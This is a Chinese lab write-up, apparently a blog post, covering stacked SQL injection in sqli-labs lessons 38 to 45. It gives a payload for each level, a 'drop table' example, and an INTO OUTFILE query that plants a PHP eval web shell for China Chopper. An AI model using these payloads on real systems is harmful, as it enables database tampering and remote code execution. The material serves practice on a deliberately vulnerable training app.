zoukankan      html  css  js  c++  java
  • sqli-labs lesson 38-45

    从page3也就是less 38开始进入了堆叠注入(stacked injection)

    stacked injection:

    简单来说就是进行SQL注入时注入了多条语句。因为之前我们都是只进行过注入一条语句完成attack,

    而现在开始一般用;来进行多条语句的注入。在SQL中,分号(;)是用来表示一条sql语句的结束。

    我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。

    而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union

    或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。

    举个例子: select * from users where id = 1 ; drop table users;

    第一条语句查询信息,第二条删除users表

    (注意oracle数据库无法进行堆叠注入,当在其中输入两条或更多语句时直接报错无效字符。)

    less 38

    观察源码可以看到数据库执行的select语句为:

    SELECT * FROM users WHERE id='$id' LIMIT 0,1

    构造payload:

    ?id=1' ; insert into users(id,username,password) values ('100',‘less38’,‘zzw’) --+

     查看数据库:

    less 39

    观察源码: 是数字型注入

     构造payload:

    ?id=1;insert into users(id,username,password) values('39','less39','39')#

     查看数据库:(截图一直转圈...就不上传了)

    less 40

    本关的sql语句为SELECT * FROM users WHERE id=('$id') LIMIT 0,1

    闭合的时候注意用 ') 闭合前面的 ('  ,之后后面的 ‘)用 --+注释掉即可 和前两关步骤一样

     payload:

    ?id=1'); insert into users(id,username,password) values ('40','less40','40') --+

    less 41

    本关和less 39闭合语句思路是一样的,都是数字型注入,只是没有错误回显了

    payload:

    ?id=1; insert into users(id,username,password) values ('41','less41','41')

    less 42

    本关变为了post型注入,且观察源代码发现在username处用到了mysqli_real_escape_string函数

    进行了过滤,但是password没有进行过滤,切换注入点为password即可。

    username随便输入,在password出输入构造的payload

    payload:

    1'; insert into users(id,username,password) values ('42','less42','42');#

     尝试用插入的用户名和密码进行登录

    less 43

    与less 42基本一致,也是在password处构造并输入payload

    只是此处闭合语句用 ') 闭合前面的 (' 后面就用注释符注释掉即可

    用insert into 插入我们想要的username 和 password

    payload:

    1'); insert into users(id,username,password) values ('43','less43','43');#

    less 44

    本关与less 43基本一致,区别在于没有回显信息,password处的包裹为 '

    password处构造payload:

    1'; insert into users(id,username,password) values ('44','less44','44');#

     

     

    less 45

    与less 42基本一致 区别在于没有错误信息回显,password处被('')包裹

    还是在password处构造payload:

    1');insert into users(id,username,password) values ('45','less45','45') #

     

     

    此处介绍另外一种方法,利用一句话木马和中国菜刀

    1.需要有写权限

    2.需要一句话木马

    3.select xxx into outfile xxx

    4.绝对路径

    以less45为例,构造payload:

    1');select '<?php @eval($_post["users"]);?>' into outfile 'C:\phpstudy1\PHPTutorial\

    WWW\sqli-labs-master\Less-45\1.php' #

     (测试有误  不定期更新)

  • 相关阅读:
    设置sudo的过期时间
    linux下tar.xz结尾文件的解压方法
    linux版本查看命令
    linux删除目录下所有文件,但是保留文件夹
    linux下更改文件夹名
    vim中跳到第一行和最后一行
    linux下编译安装python
    linux下 python源码包解压报错
    [Swift A]
    【构建Android缓存模块】(一)吐槽与原理分析
  • 原文地址:https://www.cnblogs.com/Zh1z3ven/p/12505605.html
Copyright © 2011-2022 走看看